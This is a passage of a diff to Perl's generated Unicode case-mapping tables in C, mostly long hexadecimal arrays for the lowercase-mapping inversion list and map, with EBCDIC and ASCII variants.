+	CF_use_AUX_TABLE_61,
+	CF_use_AUX_TABLE_62,
+	0x1F78,
+	0x1F7C,
+	CF_use_AUX_TABLE_59,
+	0,
+	0x3C9,
+	0,
+	0x92,
+	0x47,
+	0,
+	0x214E,
+	0,
+	0x2170,
+	0,
+	0x2184,
+	0,
+	0x24D0,
+	0,
+	0x2C30,
+	0,
+	0x2C61,
+	0,
+	0x26B,
+	0x1D7D,
+	0x27D,
+	0,
+	0x2C68,
+	0,
+	0x2C6A,
+	0,
+	0x2C6C,
+	0,
+	0x251,
+	0x271,
+	0x250,
+	0x252,
+	0,
+	0x2C73,
+	0,
+	0x2C76,
+	0,
+	0x23F,
+	0x2C81,
+	0,
+	0x2C83,
+	0,
+	0x2C85,
+	0,
+	0x2C87,
+	0,
+	0x2C89,
+	0,
+	0x2C8B,
+	0,
+	0x2C8D,
+	0,
+	0x2C8F,
+	0,
+	0x2C91,
+	0,
+	0x2C93,
+	0,
+	0x2C95,
+	0,
+	0x2C97,
+	0,
+	0x2C99,
+	0,
+	0x2C9B,
+	0,
+	0x2C9D,
+	0,
+	0x2C9F,
+	0,
+	0x2CA1,
+	0,
+	0x2CA3,
+	0,
+	0x2CA5,
+	0,
+	0x2CA7,
+	0,
+	0x2CA9,
+	0,
+	0x2CAB,
+	0,
+	0x2CAD,
+	0,
+	0x2CAF,
+	0,
+	0x2CB1,
+	0,
+	0x2CB3,
+	0,
+	0x2CB5,
+	0,
+	0x2CB7,
+	0,
+	0x2CB9,
+	0,
+	0x2CBB,
+	0,
+	0x2CBD,
+	0,
+	0x2CBF,
+	0,
+	0x2CC1,
+	0,
+	0x2CC3,
+	0,
+	0x2CC5,
+	0,
+	0x2CC7,
+	0,
+	0x2CC9,
+	0,
+	0x2CCB,
+	0,
+	0x2CCD,
+	0,
+	0x2CCF,
+	0,
+	0x2CD1,
+	0,
+	0x2CD3,
+	0,
+	0x2CD5,
+	0,
+	0x2CD7,
+	0,
+	0x2CD9,
+	0,
+	0x2CDB,
+	0,
+	0x2CDD,
+	0,
+	0x2CDF,
+	0,
+	0x2CE1,
+	0,
+	0x2CE3,
+	0,
+	0x2CEC,
+	0,
+	0x2CEE,
+	0,
+	0x2CF3,
+	0,
+	0xA641,
+	0,
+	0xA643,
+	0,
+	0xA645,
+	0,
+	0xA647,
+	0,
+	0xA649,
+	0,
+	0xA64B,
+	0,
+	0xA64D,
+	0,
+	0xA64F,
+	0,
+	0xA651,
+	0,
+	0xA653,
+	0,
+	0xA655,
+	0,
+	0xA657,
+	0,
+	0xA659,
+	0,
+	0xA65B,
+	0,
+	0xA65D,
+	0,
+	0xA65F,
+	0,
+	0xA661,
+	0,
+	0xA663,
+	0,
+	0xA665,
+	0,
+	0xA667,
+	0,
+	0xA669,
+	0,
+	0xA66B,
+	0,
+	0xA66D,
+	0,
+	0xA681,
+	0,
+	0xA683,
+	0,
+	0xA685,
+	0,
+	0xA687,
+	0,
+	0xA689,
+	0,
+	0xA68B,
+	0,
+	0xA68D,
+	0,
+	0xA68F,
+	0,
+	0xA691,
+	0,
+	0xA693,
+	0,
+	0xA695,
+	0,
+	0xA697,
+	0,
+	0xA699,
+	0,
+	0xA69B,
+	0,
+	0xA723,
+	0,
+	0xA725,
+	0,
+	0xA727,
+	0,
+	0xA729,
+	0,
+	0xA72B,
+	0,
+	0xA72D,
+	0,
+	0xA72F,
+	0,
+	0xA733,
+	0,
+	0xA735,
+	0,
+	0xA737,
+	0,
+	0xA739,
+	0,
+	0xA73B,
+	0,
+	0xA73D,
+	0,
+	0xA73F,
+	0,
+	0xA741,
+	0,
+	0xA743,
+	0,
+	0xA745,
+	0,
+	0xA747,
+	0,
+	0xA749,
+	0,
+	0xA74B,
+	0,
+	0xA74D,
+	0,
+	0xA74F,
+	0,
+	0xA751,
+	0,
+	0xA753,
+	0,
+	0xA755,
+	0,
+	0xA757,
+	0,
+	0xA759,
+	0,
+	0xA75B,
+	0,
+	0xA75D,
+	0,
+	0xA75F,
+	0,
+	0xA761,
+	0,
+	0xA763,
+	0,
+	0xA765,
+	0,
+	0xA767,
+	0,
+	0xA769,
+	0,
+	0xA76B,
+	0,
+	0xA76D,
+	0,
+	0xA76F,
+	0,
+	0xA77A,
+	0,
+	0xA77C,
+	0,
+	0x1D79,
+	0xA77F,
+	0,
+	0xA781,
+	0,
+	0xA783,
+	0,
+	0xA785,
+	0,
+	0xA787,
+	0,
+	0xA78C,
+	0,
+	0x265,
+	0,
+	0xA791,
+	0,
+	0xA793,
+	0,
+	0xA797,
+	0,
+	0xA799,
+	0,
+	0xA79B,
+	0,
+	0xA79D,
+	0,
+	0xA79F,
+	0,
+	0xA7A1,
+	0,
+	0xA7A3,
+	0,
+	0xA7A5,
+	0,
+	0xA7A7,
+	0,
+	0xA7A9,
+	0,
+	0x266,
+	0x25C,
+	0x261,
+	0x26C,
+	0x26A,
+	0,
+	0x29E,
+	0x287,
+	0x29D,
+	0xAB53,
+	0xA7B5,
+	0,
+	0xA7B7,
+	0,
+	0x13A0,
+	0,
+	CF_use_AUX_TABLE_63,
+	CF_use_AUX_TABLE_64,
+	CF_use_AUX_TABLE_65,
+	CF_use_AUX_TABLE_66,
+	CF_use_AUX_TABLE_67,
+	CF_use_AUX_TABLE_68,
+	0,
+	CF_use_AUX_TABLE_69,
+	CF_use_AUX_TABLE_70,
+	CF_use_AUX_TABLE_71,
+	CF_use_AUX_TABLE_72,
+	CF_use_AUX_TABLE_73,
+	0,
+	0xFF41,
+	0,
+	0x10428,
+	0,
+	0x104D8,
+	0,
+	0x10CC0,
+	0,
+	0x118C0,
+	0,
+	0x1E922,
+	0
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV Lowercase_Mapping_invlist[] = { /* for ASCII/Latin1 */
+	1237,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x41,
+	0x5B,
+	0xC0,
+	0xD7,
+	0xD8,
 	0xDF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x179,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x182,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x187,
+	0x188,
+	0x189,
+	0x18B,
+	0x18C,
+	0x18E,
+	0x18F,
+	0x190,
+	0x191,
+	0x192,
+	0x193,
+	0x194,
+	0x195,
+	0x196,
+	0x197,
+	0x198,
+	0x199,
+	0x19C,
+	0x19D,
+	0x19E,
+	0x19F,
+	0x1A0,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A7,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1AF,
+	0x1B0,
+	0x1B1,
+	0x1B3,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B8,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F7,
+	0x1F8,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23B,
+	0x23C,
+	0x23D,
+	0x23E,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x244,
+	0x245,
+	0x246,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FA,
+	0x3FB,
+	0x3FD,
+	0x400,
+	0x410,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C1,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB8,
+	0x1FBA,
+	0x1FBC,
+	0x1FBD,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD8,
+	0x1FDA,
+	0x1FDC,
+	0x1FE8,
+	0x1FEA,
+	0x1FEC,
+	0x1FED,
+	0x1FF8,
+	0x1FFA,
+	0x1FFC,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212B,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C63,
+	0x2C64,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C6E,
+	0x2C6F,
+	0x2C70,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C80,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77E,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AB,
+	0xA7AC,
+	0xA7AD,
+	0xA7AE,
+	0xA7AF,
+	0xA7B0,
+	0xA7B1,
+	0xA7B2,
+	0xA7B3,
+	0xA7B4,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	LC_0 = 0,
+	LC_use_AUX_TABLE_1 = -1
+} LC_enum;
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+#define HAS_LC_AUX_TABLES
+
+static const unsigned int LC_AUX_TABLE_1[] = {
+	0x69,
+	0x307
+};
+
+static const unsigned int * const LC_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	LC_AUX_TABLE_1
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 LC_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* LC_AUX_TABLE_1 */
+};
+
+static const int Lowercase_Mapping_invmap[] = { /* for ASCII/Latin1 */
+	0,
+	0x61,
+	0,
 	0xE0,
+	0,
+	0xF8,
+	0,
+	0x101,
+	0,
+	0x103,
+	0,
+	0x105,
+	0,
+	0x107,
+	0,
+	0x109,
+	0,
+	0x10B,
+	0,
+	0x10D,
+	0,
+	0x10F,
+	0,
+	0x111,
+	0,
+	0x113,
+	0,
+	0x115,
+	0,
+	0x117,
+	0,
+	0x119,
+	0,
+	0x11B,
+	0,
+	0x11D,
+	0,
+	0x11F,
+	0,
+	0x121,
+	0,
+	0x123,
+	0,
+	0x125,
+	0,
+	0x127,
+	0,
+	0x129,
+	0,
+	0x12B,
+	0,
+	0x12D,
+	0,
+	0x12F,
+	0,
+	LC_use_AUX_TABLE_1,
+	0,
+	0x133,
+	0,
+	0x135,
+	0,
+	0x137,
+	0,
+	0x13A,
+	0,
+	0x13C,
+	0,
+	0x13E,
+	0,
+	0x140,
+	0,
+	0x142,
+	0,
+	0x144,
+	0,
+	0x146,
+	0,
+	0x148,
+	0,
+	0x14B,
+	0,
+	0x14D,
+	0,
+	0x14F,
+	0,
+	0x151,
+	0,
+	0x153,
+	0,
+	0x155,
+	0,
+	0x157,
+	0,
+	0x159,
+	0,
+	0x15B,
+	0,
+	0x15D,
+	0,
+	0x15F,
+	0,
+	0x161,
+	0,
+	0x163,
+	0,
+	0x165,
+	0,
+	0x167,
+	0,
